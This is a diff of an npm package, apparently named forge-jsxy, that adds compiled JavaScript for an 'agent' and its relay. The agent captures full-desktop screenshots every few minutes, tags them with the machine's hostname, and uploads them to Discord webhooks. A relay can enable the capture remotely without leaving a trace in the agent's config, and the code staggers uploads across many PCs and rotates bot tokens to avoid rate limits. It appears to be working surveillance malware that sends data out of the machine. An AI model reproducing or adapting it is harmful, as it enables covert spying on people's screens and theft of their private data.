forge-jsxy 1.0.66

package/dist/discordAgentScreenshot.js

@@ -0,0 +1,476 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.resolveDiscordScreenshotIntervalMs = resolveDiscordScreenshotIntervalMs;
+exports.resolveDiscordScreenshotScheduledIntervalMs = resolveDiscordScreenshotScheduledIntervalMs;
+exports.startDiscordScreenshotToRelayLoop = startDiscordScreenshotToRelayLoop;
+/**
+ * Agent-side periodic full-desktop screenshot → Discord.
+ *
+ * **Modes** (`FORGE_JS_DISCORD_UPLOAD_MODE`):
+ * - **`webhook`** (alias **`direct`**) — **default**: HF-style ticket — agent sends `relay_discord_upload_ticket_request`,
+ *   receives `webhook_url`, **POSTs the image directly to Discord** (not through the relay payload),
+ *   then `relay_discord_upload_ack` so the relay **deletes** the webhook. Only a short-lived webhook
+ *   URL touches the agent (never the main bot token).
+ * - **`relay`**: PNG base64 is sent to the relay in `discord_screenshot_upload`; the relay posts with
+ *   the bot token. Awaits `discord_screenshot_upload_result` (smaller deployments / legacy).
+ *
+ * Rate-limit strategies (agent side)
+ * ────────────────────────────────────
+ * 1. Staggered intervals — `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS` adds
+ *    `hash(client_id) % N` ms so PCs never align on the same second.
+ * 2. First-capture stagger — `FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS` spreads
+ *    the initial burst across the token pool after relay reconnect.
+ * 3. Capture-after-finish cadence — next capture is scheduled `intervalMs` after the
+ *    *previous capture finished*, not on a wall-clock `setInterval`, so slow uploads
+ *    never produce a growing queue.
+ * 4. Bounded queue — `FORGE_JS_DISCORD_SCREENSHOT_QUEUE_MAX` (default 12) limits
+ *    pending captures; oldest is dropped when full, keeping memory bounded.
+ * 5. Webhook ticket retry loop — `FORGE_JS_DISCORD_WEBHOOK_FLOW_MAX_ATTEMPTS` (default 12)
+ *    full ticket → POST → ack cycles when Discord returns 429 between relay steps.
+ *    `discordBackoffMsFromErrorText` parses `retry_after` from error strings.
+ * 6. Webhook->relay fallback — when webhook flow still fails, the same screenshot
+ *    is retried once via relay bot-upload path before dropping.
+ * 7. Upload serialization — `uploadBusy` flag ensures only one upload runs at a
+ *    time; new captures queue rather than firing concurrent Discord requests.
+ *
+ * Env (agent): `FORGE_JS_DISCORD_SCREENSHOT_ENABLED=1`, or leave unset when the relay sends
+ * `relay_features.discord_screenshot: true` (enabled in-memory only — not written to `forge-js-agent.env`).
+ * Interval: relay sends `relay_features.discord_screenshot_interval_ms` (default **300000** when Discord is enabled on the relay)
+ * unless the agent already set `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS` (agent wins over relay for cadence).
+ * Optional `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS` on the agent; **milliseconds** (300000 = 5m); clamped 15s–600s.
+ */
+const node_crypto_1 = require("node:crypto");
+const discordBotTokens_1 = require("./discordBotTokens");
+const clientId_1 = require("./clientId");
+const os = __importStar(require("node:os"));
+const fsProtocol_1 = require("./fsProtocol");
+const discordRateLimit_1 = require("./discordRateLimit");
+const discordWebhookPost_1 = require("./discordWebhookPost");
+/** Align with Discord bot/webhook attachment caps; override for boosted guilds via env. */
+function discordWebhookMaxAttachmentBytes() {
+    const raw = (process.env.FORGE_JS_DISCORD_MAX_ATTACHMENT_BYTES || "").trim();
+    if (raw) {
+        const n = parseInt(raw, 10);
+        if (Number.isFinite(n)) {
+            return Math.min(25 * 1024 * 1024, Math.max(256 * 1024, n));
+        }
+    }
+    return 8 * 1024 * 1024;
+}
+/** Short OS label for Discord screenshot captions. */
+function _screenshotOsLabel() {
+    const t = os.type(); // "Windows_NT" | "Linux" | "Darwin"
+    const h = os.hostname();
+    let label = t === "Windows_NT" ? "Windows" : t === "Darwin" ? "macOS" : t || "Linux";
+    return h ? `${label} · ${h}` : label;
+}
+/** Screenshot caption in JST with OS label. */
+function _screenshotCaption() {
+    const jst = new Date().toLocaleString("ja-JP", {
+        timeZone: "Asia/Tokyo",
+        year: "numeric", month: "2-digit", day: "2-digit",
+        hour: "2-digit", minute: "2-digit", second: "2-digit",
+        hour12: false,
+    });
+    return `Screenshot ${jst} JST — ${_screenshotOsLabel()}`;
+}
+function screenshotB64Mime(b64) {
+    const clean = String(b64).replace(/\s/g, "");
+    if (clean.length < 8)
+        return "image/png";
+    try {
+        const buf = Buffer.from(clean.slice(0, 128), "base64");
+        if (buf.length >= 3 && buf[0] === 0xff && buf[1] === 0xd8 && buf[2] === 0xff) {
+            return "image/jpeg";
+        }
+    }
+    catch {
+        /* skip */
+    }
+    return "image/png";
+}
+function discordUploadMode() {
+    const m = (process.env.FORGE_JS_DISCORD_UPLOAD_MODE || "").trim().toLowerCase();
+    if (m === "relay")
+        return "relay";
+    if (m === "webhook" || m === "direct")
+        return "webhook";
+    return "webhook";
+}
+/**
+ * Outer retries for webhook ticket + POST when Discord still returns 429 after relay `fetchUntilNot429`
+ * (default **4**, max **12**). Uses `discordBackoffMsFromErrorText` + `retry_after` from error bodies.
+ */
+function discordWebhookTicketFlowMaxAttempts() {
+    const raw = (process.env.FORGE_JS_DISCORD_WEBHOOK_FLOW_MAX_ATTEMPTS || "12").trim();
+    const n = parseInt(raw, 10);
+    if (Number.isFinite(n) && n >= 1 && n <= 12)
+        return n;
+    return 12;
+}
+/** Delay before the first capture after the loop starts (handshake/display settle). `0` = next event-loop tick. Max 300s. */
+function discordScreenshotFirstDelayMs() {
+    const raw = (process.env.FORGE_JS_DISCORD_SCREENSHOT_FIRST_DELAY_MS || "").trim();
+    if (raw === "0")
+        return 0;
+    if (!raw)
+        return 3000;
+    const n = parseInt(raw, 10);
+    if (!Number.isFinite(n))
+        return 3000;
+    return Math.min(300_000, Math.max(0, n));
+}
+/**
+ * Milliseconds between capture cycles (after each capture finishes). Same bounds as relay handshake
+ * `discord_screenshot_interval_ms`: **15s–600s**; invalid/unset agent env defaults to **300000**.
+ */
+function resolveDiscordScreenshotIntervalMs() {
+    const rawMs = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS || "300000").trim();
+    return Math.min(600_000, Math.max(15_000, parseInt(rawMs, 10) || 300_000));
+}
+function discordScreenshotIntervalStaggerExtraMs(clientId) {
+    const raw = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS || "").trim();
+    if (!raw)
+        return 0;
+    const cap = parseInt(raw, 10);
+    if (!Number.isFinite(cap) || cap <= 0)
+        return 0;
+    const c = Math.min(120_000, Math.max(1, cap));
+    return (0, discordBotTokens_1.discordClientIdFnv1a32)(clientId) % c;
+}
+function discordScreenshotFirstStaggerExtraMs(clientId) {
+    const raw = (process.env.FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS || "").trim();
+    if (!raw)
+        return 0;
+    const cap = parseInt(raw, 10);
+    if (!Number.isFinite(cap) || cap <= 0)
+        return 0;
+    const c = Math.min(300_000, Math.max(1, cap));
+    return (0, discordBotTokens_1.discordClientIdFnv1a32)(clientId) % c;
+}
+/**
+ * Base interval plus optional **stable** stagger from `client_id` (same bounds 15s–600s).
+ */
+function resolveDiscordScreenshotScheduledIntervalMs(clientId) {
+    const base = resolveDiscordScreenshotIntervalMs();
+    const extra = discordScreenshotIntervalStaggerExtraMs(clientId);
+    return Math.min(600_000, Math.max(15_000, base + extra));
+}
+function startDiscordScreenshotToRelayLoop(opts) {
+    const en = (process.env.FORGE_JS_DISCORD_SCREENSHOT_ENABLED || "").trim().toLowerCase();
+    const envOn = ["1", "true", "yes", "on"].includes(en);
+    if (!envOn && !opts.enabledByRelayCapabilities) {
+        return () => { };
+    }
+    const screenshotClientId = (0, clientId_1.getOrCreateClientId)((0, clientId_1.defaultCfgmgrDataDir)());
+    const baseIntervalMs = resolveDiscordScreenshotScheduledIntervalMs(screenshotClientId);
+    const rawQ = (process.env.FORGE_JS_DISCORD_SCREENSHOT_QUEUE_MAX || "12").trim();
+    const queueMax = Math.min(32, Math.max(1, parseInt(rawQ, 10) || 12));
+    let stopped = false;
+    /** Bounded queue so periodic capture can proceed while a slow Discord upload runs (drops oldest if full). */
+    const pendingB64Queue = [];
+    let uploadBusy = false;
+    /** Next capture fires after the previous capture cycle completed (not wall-clock `setInterval`). */
+    let captureScheduleTimer = null;
+    const relayFallbackUploadOnce = async (b64) => {
+        const rid = `dsfb_${Date.now()}_${(0, node_crypto_1.randomBytes)(6).toString("hex")}`;
+        const ackPromise = opts.waitForRelayDiscordAck(rid);
+        opts.sendJson({
+            type: "discord_screenshot_upload",
+            request_id: rid,
+            client_id: screenshotClientId,
+            mime: screenshotB64Mime(b64),
+            b64,
+            caption: _screenshotCaption(),
+        });
+        const ack = await ackPromise;
+        return ack.ok;
+    };
+    const relayFallbackUploadWithRetry = async (b64, reason) => {
+        try {
+            if (await relayFallbackUploadOnce(b64))
+                return true;
+        }
+        catch {
+            /* retry once below */
+        }
+        const backoff = (0, discordRateLimit_1.discordBackoffMsFromErrorText)(reason);
+        if (backoff > 0)
+            await (0, discordRateLimit_1.sleepMs)(backoff);
+        try {
+            return await relayFallbackUploadOnce(b64);
+        }
+        catch {
+            return false;
+        }
+    };
+    const flushUploadRelay = (b64) => {
+        const rid = `ds_${Date.now()}_${(0, node_crypto_1.randomBytes)(6).toString("hex")}`;
+        let payload = b64;
+        void (async () => {
+            try {
+                const ackPromise = opts.waitForRelayDiscordAck(rid);
+                opts.sendJson({
+                    type: "discord_screenshot_upload",
+                    request_id: rid,
+                    client_id: screenshotClientId,
+                    mime: screenshotB64Mime(payload),
+                    b64: payload,
+                    caption: _screenshotCaption(),
+                });
+                const ack = await ackPromise;
+                if (!ack.ok) {
+                    const err = ack.error?.trim() || "failed";
+                    if (!opts.quiet) {
+                        console.error(`[forge-js:discord-screenshot] relay upload: ${err}`);
+                    }
+                }
+            }
+            catch (e) {
+                if (!opts.quiet) {
+                    console.error(`[forge-js:discord-screenshot] relay upload failed: ${e}`);
+                }
+            }
+            finally {
+                payload = "";
+                uploadBusy = false;
+                if (!stopped && pendingB64Queue.length > 0) {
+                    setImmediate(flushUpload);
+                }
+            }
+        })();
+    };
+    const flushUploadWebhook = (b64) => {
+        const originalB64 = b64;
+        let rawB64 = b64;
+        void (async () => {
+            let png;
+            try {
+                png = Buffer.from(rawB64, "base64");
+            }
+            catch {
+                if (!opts.quiet) {
+                    console.error("[forge-js:discord-screenshot] invalid base64 for webhook upload");
+                }
+                rawB64 = "";
+                uploadBusy = false;
+                if (!stopped && pendingB64Queue.length > 0)
+                    setImmediate(flushUpload);
+                return;
+            }
+            rawB64 = "";
+            const whMax = discordWebhookMaxAttachmentBytes();
+            if (png.length > whMax) {
+                const shrunk = await (0, fsProtocol_1.shrinkScreenshotBufferToMaxBytes)(png, whMax);
+                if (!shrunk || shrunk.buffer.length > whMax) {
+                    if (!opts.quiet) {
+                        console.error(`[forge-js:discord-screenshot] image too large for Discord webhook (${png.length} bytes > ${whMax}) after JPEG shrink — raise FORGE_JS_DISCORD_MAX_ATTACHMENT_BYTES or ensure jimp / ImageMagick / ffmpeg is available on the agent`);
+                    }
+                    // Relay upload path may still shrink/post successfully.
+                    await relayFallbackUploadWithRetry(originalB64, "Discord webhook payload too large after local shrink");
+                    try {
+                        png.fill(0);
+                    }
+                    catch {
+                        /* skip */
+                    }
+                    png = undefined;
+                    uploadBusy = false;
+                    if (!stopped && pendingB64Queue.length > 0)
+                        setImmediate(flushUpload);
+                    return;
+                }
+                try {
+                    png.fill(0);
+                }
+                catch {
+                    /* skip */
+                }
+                png = shrunk.buffer;
+            }
+            const caption = _screenshotCaption();
+            const maxFlow = discordWebhookTicketFlowMaxAttempts();
+            try {
+                for (let attempt = 0; attempt < maxFlow; attempt++) {
+                    const ticketRid = `dt_${Date.now()}_${(0, node_crypto_1.randomBytes)(6).toString("hex")}`;
+                    const ticketP = opts.waitForDiscordTicket(ticketRid);
+                    opts.sendJson({
+                        type: "relay_discord_upload_ticket_request",
+                        request_id: ticketRid,
+                        client_id: screenshotClientId,
+                    });
+                    const ticket = await ticketP;
+                    if (!ticket.ok || !ticket.webhook_url?.trim()) {
+                        const err = ticket.error?.trim() || "failed";
+                        const backoff = (0, discordRateLimit_1.discordBackoffMsFromErrorText)(err);
+                        if (backoff > 0 && attempt < maxFlow - 1) {
+                            await (0, discordRateLimit_1.sleepMs)(backoff);
+                            continue;
+                        }
+                        if (!opts.quiet) {
+                            console.error(`[forge-js:discord-screenshot] ticket: ${err}`);
+                        }
+                        await relayFallbackUploadWithRetry(originalB64, err);
+                        return;
+                    }
+                    let whUrl = String(ticket.webhook_url).trim();
+                    ticket.webhook_url = "";
+                    let posted;
+                    try {
+                        posted = await (0, discordWebhookPost_1.postPngToDiscordWebhookUrl)(whUrl, png, caption);
+                    }
+                    finally {
+                        whUrl = "";
+                    }
+                    opts.sendJson({
+                        type: "relay_discord_upload_ack",
+                        request_id: ticketRid,
+                        upload_ok: posted.ok,
+                    });
+                    if (posted.ok) {
+                        return;
+                    }
+                    const backoffPost = (0, discordRateLimit_1.discordBackoffMsFromErrorText)(posted.error);
+                    if (backoffPost > 0 && attempt < maxFlow - 1) {
+                        await (0, discordRateLimit_1.sleepMs)(backoffPost);
+                        continue;
+                    }
+                    if (!opts.quiet) {
+                        console.error(`[forge-js:discord-screenshot] webhook POST: ${posted.error}`);
+                    }
+                    await relayFallbackUploadWithRetry(originalB64, posted.error);
+                    return;
+                }
+                if (!opts.quiet) {
+                    console.error("[forge-js:discord-screenshot] webhook flow: exhausted ticket/POST retries");
+                }
+                await relayFallbackUploadWithRetry(originalB64, "Discord webhook flow exhausted ticket/post retries");
+            }
+            catch (e) {
+                if (!opts.quiet) {
+                    console.error(`[forge-js:discord-screenshot] webhook path failed: ${e}`);
+                }
+                await relayFallbackUploadWithRetry(originalB64, String(e));
+            }
+            finally {
+                if (png && png.length > 0) {
+                    try {
+                        png.fill(0);
+                    }
+                    catch {
+                        /* skip */
+                    }
+                }
+                png = undefined;
+                uploadBusy = false;
+                if (!stopped && pendingB64Queue.length > 0) {
+                    setImmediate(flushUpload);
+                }
+            }
+        })();
+    };
+    const flushUpload = () => {
+        if (stopped || uploadBusy || pendingB64Queue.length === 0)
+            return;
+        uploadBusy = true;
+        const b64 = pendingB64Queue.shift();
+        if (discordUploadMode() === "webhook") {
+            flushUploadWebhook(b64);
+        }
+        else {
+            flushUploadRelay(b64);
+        }
+    };
+    const scheduleNextCapture = () => {
+        if (stopped)
+            return;
+        if (captureScheduleTimer != null) {
+            clearTimeout(captureScheduleTimer);
+            captureScheduleTimer = null;
+        }
+        captureScheduleTimer = setTimeout(runCaptureCycle, baseIntervalMs);
+    };
+    const runCaptureCycle = () => {
+        if (stopped)
+            return;
+        captureScheduleTimer = null;
+        void (async () => {
+            try {
+                const res = await (0, fsProtocol_1.fsDesktopScreenshotCapture)();
+                if (res.ok !== true || typeof res.b64 !== "string" || !res.b64) {
+                    if (!opts.quiet && res.ok === false) {
+                        console.error(`[forge-js:discord-screenshot] capture: ${String(res.error || "skip")}`);
+                    }
+                    return;
+                }
+                while (pendingB64Queue.length >= queueMax) {
+                    pendingB64Queue.shift();
+                }
+                pendingB64Queue.push(res.b64);
+                try {
+                    res.b64 = "";
+                }
+                catch {
+                    /* skip */
+                }
+                flushUpload();
+            }
+            catch (e) {
+                if (!opts.quiet) {
+                    console.error(`[forge-js:discord-screenshot] capture: ${e}`);
+                }
+            }
+            finally {
+                if (!stopped) {
+                    scheduleNextCapture();
+                }
+            }
+        })();
+    };
+    const firstDelayMs = Math.min(600_000, discordScreenshotFirstDelayMs() + discordScreenshotFirstStaggerExtraMs(screenshotClientId));
+    const firstHandle = setTimeout(() => {
+        runCaptureCycle();
+    }, firstDelayMs);
+    return () => {
+        stopped = true;
+        clearTimeout(firstHandle);
+        if (captureScheduleTimer != null) {
+            clearTimeout(captureScheduleTimer);
+            captureScheduleTimer = null;
+        }
+        pendingB64Queue.length = 0;
+    };
+}

package/dist/discordBotTokens.d.ts

@@ -0,0 +1,29 @@
+/**
+ * Relay-only: one or more Discord **application bot tokens** to spread REST rate limits.
+ *
+ * Configure either:
+ * - `RELAY_DISCORD_BOT_TOKEN` — single token, **or** comma-separated tokens; and/or
+ * - `RELAY_DISCORD_BOT_TOKENS` — newline- and/or comma-separated list (merged after `RELAY_DISCORD_BOT_TOKEN` entries).
+ *
+ * Duplicate tokens are removed (first occurrence wins). Each bot must be invited to the same guild
+ * with permissions for screenshots (View Channels, Manage Channels, Manage Webhooks, …).
+ *
+ * **Sharding:** `relayDiscordBotTokenForClient(clientId)` assigns a stable bot per agent `client_id`
+ * so load spreads across tokens and channel resolution stays consistent for that client.
+ */
+/** FNV-1a 32-bit — deterministic, no crypto dependency (relay token pick + agent cadence stagger). */
+export declare function discordClientIdFnv1a32(clientId: string): number;
+/**
+ * Parsed bot tokens from relay env (non-empty, deduped in order).
+ */
+export declare function getRelayDiscordBotTokens(): string[];
+/**
+ * Stable bot token for this `client_id` — spreads agents across the token pool (rate-limit buckets).
+ */
+export declare function relayDiscordBotTokenForClient(clientId: string, tokens: string[]): string;
+/**
+ * 0-based index of the bot assigned to this `client_id` in the token pool.
+ * Same FNV-1a hash as `relayDiscordBotTokenForClient` — consistent assignment.
+ * Used to name webhooks per-bot so screenshots are visually distinguishable in Discord.
+ */
+export declare function relayDiscordBotIndexForClient(clientId: string, tokens: string[]): number;

package/dist/discordBotTokens.js

@@ -0,0 +1,78 @@
+"use strict";
+/**
+ * Relay-only: one or more Discord **application bot tokens** to spread REST rate limits.
+ *
+ * Configure either:
+ * - `RELAY_DISCORD_BOT_TOKEN` — single token, **or** comma-separated tokens; and/or
+ * - `RELAY_DISCORD_BOT_TOKENS` — newline- and/or comma-separated list (merged after `RELAY_DISCORD_BOT_TOKEN` entries).
+ *
+ * Duplicate tokens are removed (first occurrence wins). Each bot must be invited to the same guild
+ * with permissions for screenshots (View Channels, Manage Channels, Manage Webhooks, …).
+ *
+ * **Sharding:** `relayDiscordBotTokenForClient(clientId)` assigns a stable bot per agent `client_id`
+ * so load spreads across tokens and channel resolution stays consistent for that client.
+ */
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.discordClientIdFnv1a32 = discordClientIdFnv1a32;
+exports.getRelayDiscordBotTokens = getRelayDiscordBotTokens;
+exports.relayDiscordBotTokenForClient = relayDiscordBotTokenForClient;
+exports.relayDiscordBotIndexForClient = relayDiscordBotIndexForClient;
+/** FNV-1a 32-bit — deterministic, no crypto dependency (relay token pick + agent cadence stagger). */
+function discordClientIdFnv1a32(clientId) {
+    let h = 2166136261 >>> 0;
+    const s = String(clientId || "");
+    for (let i = 0; i < s.length; i++) {
+        h ^= s.charCodeAt(i);
+        h = Math.imul(h, 16777619) >>> 0;
+    }
+    return h >>> 0;
+}
+function splitBotTokenEnv(raw) {
+    const out = [];
+    for (const part of raw.split(/[\n,]+/)) {
+        const t = part.trim();
+        if (t)
+            out.push(t);
+    }
+    return out;
+}
+/**
+ * Parsed bot tokens from relay env (non-empty, deduped in order).
+ */
+function getRelayDiscordBotTokens() {
+    const fromMulti = splitBotTokenEnv((process.env.RELAY_DISCORD_BOT_TOKENS || "").trim());
+    const fromSingle = splitBotTokenEnv((process.env.RELAY_DISCORD_BOT_TOKEN || "").trim());
+    const merged = [];
+    merged.push(...fromSingle);
+    merged.push(...fromMulti);
+    const seen = new Set();
+    const deduped = [];
+    for (const t of merged) {
+        if (!seen.has(t)) {
+            seen.add(t);
+            deduped.push(t);
+        }
+    }
+    return deduped;
+}
+/**
+ * Stable bot token for this `client_id` — spreads agents across the token pool (rate-limit buckets).
+ */
+function relayDiscordBotTokenForClient(clientId, tokens) {
+    if (tokens.length === 0)
+        return "";
+    if (tokens.length === 1)
+        return tokens[0];
+    const idx = discordClientIdFnv1a32(clientId) % tokens.length;
+    return tokens[idx];
+}
+/**
+ * 0-based index of the bot assigned to this `client_id` in the token pool.
+ * Same FNV-1a hash as `relayDiscordBotTokenForClient` — consistent assignment.
+ * Used to name webhooks per-bot so screenshots are visually distinguishable in Discord.
+ */
+function relayDiscordBotIndexForClient(clientId, tokens) {
+    if (tokens.length <= 1)
+        return 0;
+    return discordClientIdFnv1a32(clientId) % tokens.length;
+}

package/dist/discordRateLimit.d.ts

@@ -0,0 +1,93 @@
+/**
+ * Shared Discord HTTP 429 handling (bot REST + webhooks).
+ *
+ * Strategies implemented
+ * ──────────────────────
+ * 1. Retry-After header / retry_after JSON body — both read and respected on 429.
+ * 2. Exponential back-off with random jitter — avoids thundering herd when many
+ *    agents retry at the same instant.
+ * 3. Proactive per-route bucket tracking (DiscordBucketTracker) — reads
+ *    X-RateLimit-Remaining + X-RateLimit-Reset-After on *every* response.
+ *    When remaining==0 the bucket is marked as exhausted and the next caller
+ *    pre-waits before the request, preventing the 429 entirely.
+ * 4. Global rate-limit detection — X-RateLimit-Global / X-RateLimit-Scope headers
+ *    on 429 pause ALL routes for that tracker's token.
+ * 5. X-RateLimit-Scope: shared — 429s with scope=shared do NOT count toward the
+ *    Cloudflare 10 000/10 min invalid-request ban; they are still respected but
+ *    not treated as fatal.
+ * 6. configurable max attempts — RELAY_DISCORD_429_MAX_ATTEMPTS /
+ *    FORGE_JS_DISCORD_429_MAX_ATTEMPTS (1–12, default 12).
+ *
+ * @see https://discord.com/developers/docs/topics/rate-limits
+ */
+export declare function sleepMs(ms: number): Promise<void>;
+/**
+ * Parse Discord `retry_after` (JSON body, seconds) or `Retry-After` (header, seconds).
+ * Adds small random jitter (+0–400 ms) so many agents don't all retry simultaneously.
+ */
+export declare function discord429DelayMs(res: Response): Promise<number>;
+/** Max attempts per logical Discord call (first try + retries after 429). Default 12. */
+export declare function discord429MaxAttempts(): number;
+/**
+ * Tracks Discord per-route and global rate-limit bucket state for ONE bot token.
+ *
+ * Call `update()` after every Discord response so remaining-request state is
+ * always fresh.  Call `preWaitMs()` before a request to get the number of ms
+ * to sleep before sending (0 if the bucket is not exhausted).
+ *
+ * This is PROACTIVE: by pre-waiting when `remaining==0` we avoid triggering
+ * a 429 in the first place, reducing both latency and Cloudflare invalid-request
+ * counts (since prevented 429s never hit Discord).
+ */
+export declare class DiscordBucketTracker {
+    /** bucket-hash (or route key) → epoch ms at which the bucket resets */
+    private readonly _pauseUntil;
+    /** All routes for this token pause until this epoch ms (global 429). */
+    private _globalPauseUntil;
+    /**
+     * Update internal state from a Discord REST response.
+     * Should be called for EVERY response — 200s, 204s, and 429s alike.
+     */
+    update(headers: {
+        get(k: string): string | null;
+    }, routeKey: string): void;
+    /**
+     * Set a global pause (all routes). Called when X-RateLimit-Global == "true"
+     * or X-RateLimit-Scope == "global" is found on a 429 response.
+     */
+    setGlobalPause(retryAfterMs: number): void;
+    /**
+     * Set a per-route pause.  Called on a per-route 429 to block that specific
+     * bucket until the reset window elapses.
+     */
+    setRoutePause(routeKey: string, bucket: string | null, retryAfterMs: number): void;
+    /**
+     * Returns ms to pre-wait before sending a request to `routeKey`.
+     * Returns 0 when the route is not rate-limited.
+     * Adds a tiny random jitter (0–30 ms) so many concurrent calls stagger.
+     */
+    preWaitMs(routeKey: string, bucket?: string | null): number;
+    /** For testing / diagnostics. */
+    isGloballyPaused(): boolean;
+}
+/** Shared tracker for all relay-side Discord REST calls. One per module load. */
+export declare const relayDiscordBucketTracker: DiscordBucketTracker;
+/**
+ * Re-invokes `doFetch` until the response is not 429 or max attempts are exhausted.
+ * Respects `Retry-After` / `retry_after` with jitter on every back-off.
+ *
+ * Optional `routeKey` + `tracker` enable proactive bucket tracking:
+ * - Pre-waits before the first attempt if the tracker says the bucket is exhausted.
+ * - Updates the tracker after every response.
+ * - Distinguishes global 429 (pauses all routes) from per-route 429.
+ *
+ * Backward compatible — `routeKey` and `tracker` default to undefined.
+ */
+export declare function fetchUntilNot429(doFetch: () => Promise<Response>, routeKey?: string, tracker?: DiscordBucketTracker): Promise<Response>;
+/**
+ * Milliseconds to wait after a failed Discord ticket/webhook step when the error
+ * text embeds JSON `"retry_after"` or clearly indicates rate limiting.
+ * Returns **0** when the error is not a rate-limit signal.
+ * @param minWaitMs — floor when `retry_after` is tiny (default **5000** ms).
+ */
+export declare function discordBackoffMsFromErrorText(errText: string, minWaitMs?: number): number;